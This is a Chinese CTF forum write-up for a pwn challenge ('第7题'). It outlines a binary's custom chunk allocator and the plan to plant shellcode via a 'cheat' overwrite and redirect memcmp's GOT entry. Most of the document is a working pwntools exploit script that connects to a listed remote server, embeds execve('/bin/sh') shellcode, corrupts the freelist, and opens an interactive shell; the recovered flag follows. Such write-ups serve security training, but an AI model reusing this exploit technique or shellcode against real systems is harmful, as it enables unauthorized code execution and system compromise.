-
-
[原创]第7题
-
2017-11-6 13:29 2806
-
Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
程序功能
- mmap申请4096字节RWX的内存, 用来模拟alloc chunk
- 申请一个account, 创建一个character, 到指定location捡item
- character.item_head是一个单链表, 捡到的不同item会被插到链表的头部
- 捡到已有item时item.count+1, 移除item时item.count-1, item.count为0时从链表移除
- chunk.ref_count为0时, chunk会被添加到freelist
- chunk.ref_count为0时, 如果chunk.data中的地址符合条件, 则chunk.data会被当作chunk会被添加到freelist
- chunk被添加到freelist时, chunk.data的值会被修改指向freelist
- cheat功能可以用来overwrite chunk
利用思路
利用cheat在chunk中放置shellcode, 修改got指向chunk中的shellcode
相关结构体
struct x_acc { __int64 field_0; char username[16]; char password[16]; x_character *character; }; struct x_character { char name[16]; __int64 health; __int64 stamina; __int64 weight; __int64 location; x_item *item_head; }; struct x_cheat_st { char name[16]; char content[32]; }; struct x_chunk { __int64 ref_count; __int64 size; char data[1]; }; struct x_item { __int64 id; __int64 weight; __int64 count; x_item *next; __int64 bullet; __int64 power; };
脚本
### python test.py LOCAL=True from pwn import * import sys import time import re context(arch='amd64', kernel='amd64', os='linux') #context.log_level='debug' elf=ELF('./pwn7') if args['LOCAL']: io=process('./pwn7') else: io=remote('123.206.22.95', 8888) sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" def cmd_signup(username, password, character_name): io.recvuntil('Signup\n==============================') io.sendline('2') io.recvuntil('input your username') io.sendline(username) io.recvuntil('input your password') io.sendline(password) io.recvuntil('input your character\'s name') io.sendline(character_name) io.recvline() return def cmd_login(username, password): io.recvuntil('Signup\n==============================') io.sendline('1') io.recvuntil('Input your username:') io.sendline(username) io.recvuntil('Input your password:') io.sendline(password) return def cmd_exit(): io.recvuntil('0.exit') io.sendline('0') return def cmd_show(): io.recvuntil('0.exit\n') io.sendline('1') io.recvuntil('===============================') io.recvuntil('==============================') return def cmd_item_enter(): io.recvuntil('0.exit') io.sendline('2') return def cmd_item_leave(): io.recvuntil('Your Choice:') io.sendline(str(-1)) io.recvuntil('wrong choice') return ''' def cmd_item_view(id): io.recvuntil('Your Choice:\n') io.sendline(str(id)) data=io.recvuntil('2.return\n') io.sendline('2') return data ''' def cmd_item_delete(id): io.recvuntil('Your Choice:\n') io.sendline(str(id)) io.recvuntil('2.return\n') io.sendline('1') data=io.recvuntil('2.return\n') io.sendline('2') return data def cmd_goto(location): io.recvuntil('0.exit') io.sendline('3') io.recvuntil('6.Primorsk') io.sendline(str(location)) return def cmd_explore(l): io.recvuntil('0.exit') io.sendline('4') io.recvuntil('You find:\n') s=io.recv(2) if s=='no': io.recvuntil('found') return '' s+=io.recvline(0) io.recvuntil('Do you want to pick up it?') if s in l: io.sendline('y') else: io.sendline('n') s='' return s def cmd_explore_until_success(l): while 1: item_name=cmd_explore(l) print('pickup: %s' % item_name) if not (item_name==''): l.remove(item_name) break time.sleep(1) return def cmd_cheat(first, name, content): io.recvuntil('0.exit') io.sendline('5') if first==1: io.recvuntil('name:') io.sendline(name) io.recvuntil('content:') io.sendline(content) else: io.recvuntil('content:') io.sendline(content) return def exploit(): username='a'*8 password='b'*8 character_name='c'*8 cmd_signup(username, password, character_name) cmd_login(username, password) #cmd_show() cmd_goto(1) cmd_cheat(1, 'x'*8, 'y'*0x18) #pickup 2 different items l=['98k','S12K','AKM','M16A4','UMP45','SKS','M416','M24','Bandage','Drink','First Aid Kit'] cmd_explore_until_success(l) cmd_explore_until_success(l) #delete one item(init freelist) cmd_item_enter() data=cmd_item_delete(1) cmd_item_leave() #gdb.attach(io) #input() #put fake pointer in item2 buf='' buf+='z'*0x40 #item1(freed) #item2 header buf+=p64(1) #ref_count buf+=p64(0x18) #size #item2 buf+=p64(elf.got['memcmp']) #id(fake pointer) buf+=p64(0) #weight buf+=p64(1) #count buf+=p64(0) #next buf+=p64(0) #bullet buf+=p64(0) #power #freelist buf+=p64(0) #ref_count buf+=p64(0x20) #size buf+=p64(0) buf+=p64(0) cmd_cheat(0, 'x'*8, 'y'*0x20+buf) #overwrite target with freelist+0x10 cmd_item_enter() data=cmd_item_delete(1) cmd_item_leave() #copy shellcode to freelist+0x10 buf='' buf+='z'*0xA0 buf+=sc cmd_cheat(0, 'x'*8, 'y'*0x20+buf) cmd_exit() #trigger memcmp(call shellcode) cmd_login(username, password) io.interactive() return exploit()
flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法
赞赏
他的文章
KCTF2022春季赛 第三题 石像病毒
8269
KCTF2022春季赛 第二题 末日邀请
15394
KCTF2021秋季赛 第二题 迷失丛林
17929
KCTF2020秋季赛 第十题 终焉之战
8101
KCTF2020秋季赛 第九题 命悬一线
5827
看原图